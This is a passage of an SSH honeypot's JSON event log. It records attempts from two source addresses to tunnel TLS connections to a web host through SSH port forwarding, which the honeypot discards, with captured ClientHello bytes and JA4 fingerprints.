0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x07\\x8c]\\xdfU;\\xed\\xdf\\x9aw\\xfa \\xc4\\x8e\\xe2}\\x19\\n\\xa0\\xfd?-\\xcc\\xf0\\x94\\xb7\\x06\\x1cO\\xb75\\xd0 \\xd3\\xa2I64\\xabO\\xd2\\xa3\"H_\\xc1\\xa3\\x16\\x01>\\x84\\x18Oa\\xfb\\xaa\\xfb?Ps!E\\xed\\x92\\x1f\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf5S\\xa3~\\xf2\\xb7\\xb2\\xb5\\xb8n\\xe6&\\xc5{/c?\\x91s\\x18V\\x85\\x9f\\x95Q\\xb5\\xd7\\xae\\xb8\\x86D\\x08\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.045027Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.286997Z","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.527844Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\xb1\\xc6\\x1aT@\\xf7\\xfdA\\xfb\\xf6\\xc9\\x12\\x16\\x92.\\x08(\\x9d\\xab!P2\\x97\\xab\\xef\\xc6\\xc9\\x90\\xf6\\xc5\\xfd P\\xe5Nz?\\x11\\x0f\\xf9\\xbc4=\\x82\\x90\\x9a\\x01\\x1f\\x1eY\\x9f\\xbf\"\\xab\\xd5\\x80\\x1b\\xdc\\x94\\xcb[\\xae\\xe7\\xea\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcd\\x11gD\"_\\x00\\x01\\xbf~\\x9egF\\xf7\\xb6\\xab\\'\\x98\\x83\\x88Fu)\\xffcv\\xd8\\xc9\\x04\\x04)+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03p\\xb1\\xc6\\x1aT@\\xf7\\xfdA\\xfb\\xf6\\xc9\\x12\\x16\\x92.\\x08(\\x9d\\xab!P2\\x97\\xab\\xef\\xc6\\xc9\\x90\\xf6\\xc5\\xfd P\\xe5Nz?\\x11\\x0f\\xf9\\xbc4=\\x82\\x90\\x9a\\x01\\x1f\\x1eY\\x9f\\xbf\"\\xab\\xd5\\x80\\x1b\\xdc\\x94\\xcb[\\xae\\xe7\\xea\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xcd\\x11gD\"_\\x00\\x01\\xbf~\\x9egF\\xf7\\xb6\\xab\\'\\x98\\x83\\x88Fu)\\xffcv\\xd8\\xc9\\x04\\x04)+\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.532910Z","src_ip":"123.27.168.40","session":"88c49070b67c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.587692Z","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.649367Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032j\\x96\\x8e+9q\\xa8\\x81B\\xbb\\x86\\x0c\\xbd\\xf8\\xc6\\x11\\xc9\\x8c\\x81_p\\xe4\\xd0;\\xcaHb4HP\\xad \\xd5j\\xda\\xa4S\\xc4\\x06ay\\xa5\\x91\\xc7\\x9d\\xbd\\x16x\\xd6\\xaa\\r\\xf7/\\xd4\\xf9V\\xd7:!q\\xad:\\xf7\\x9a\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88\\xe9\\x1a\\x18\\xa4\\x98\\x98\\xeeiE\\n\\x95\\xe1\\x8d\\xe3:\\xd3\\x03\\xe5\\x06\\x10\\xf2\\xe1\\xec-\\xec\\x84md\\xd96\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x032j\\x96\\x8e+9q\\xa8\\x81B\\xbb\\x86\\x0c\\xbd\\xf8\\xc6\\x11\\xc9\\x8c\\x81_p\\xe4\\xd0;\\xcaHb4HP\\xad \\xd5j\\xda\\xa4S\\xc4\\x06ay\\xa5\\x91\\xc7\\x9d\\xbd\\x16x\\xd6\\xaa\\r\\xf7/\\xd4\\xf9V\\xd7:!q\\xad:\\xf7\\x9a\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88\\xe9\\x1a\\x18\\xa4\\x98\\x98\\xeeiE\\n\\x95\\xe1\\x8d\\xe3:\\xd3\\x03\\xe5\\x06\\x10\\xf2\\xe1\\xec-\\xec\\x84md\\xd96\\n\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.652447Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.714559Z","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:58:02.771570Z","src_ip":"23.175.50.47","session":"8b876073f624","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc4\\xea\\x85\\x10\"n\\xe3\\xb8\\xbb\\x0b\\xf3\\xbeD\\x93\\xe8\\xadg\\xfe\\xf1\\xca\\xe2\\xce%\\xedG\\x8f\\xed\\x8as\\xc6\\xe1\\xb6 \\x1eA\\x9f\"\\xa0,\\xb8\\x85\\xca\\x9c\\xddvt\\xef\\x91*xY6V\\xe1\\xf1\\x1b\\x90\\xa2\\x03\\xb4\\xacD\\x9dM\\x85\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\\\N6\\x8e\\xc1\\xfe\\x0e\\x87\\x96\\xc7ze\\xa6\\xb4\\x89\"t\\xc2\\x86\\x7f\\xfd\\x8dy]\\xa9\\x98\\x16Y1O\\xb5\\x19\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc4\\xea\\x85\\x10\"n\\xe3\\xb8\\xbb\\x0b\\xf3\\xbeD\\x93\\xe8\\xadg\\xfe\\xf1\\xca\\xe2\\xce%\\xedG\\x8f\\xed\\x8as\\xc6\\xe1\\xb6 \\x1eA\\x9f\"\\xa0,\\xb8\\x85\\xca\\x9c\\xddvt\\xef\\x91*xY6V\\xe1\\xf1\\x1b\\x90\\xa2\\x03\\xb4\\xacD\\x9dM\\x85\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 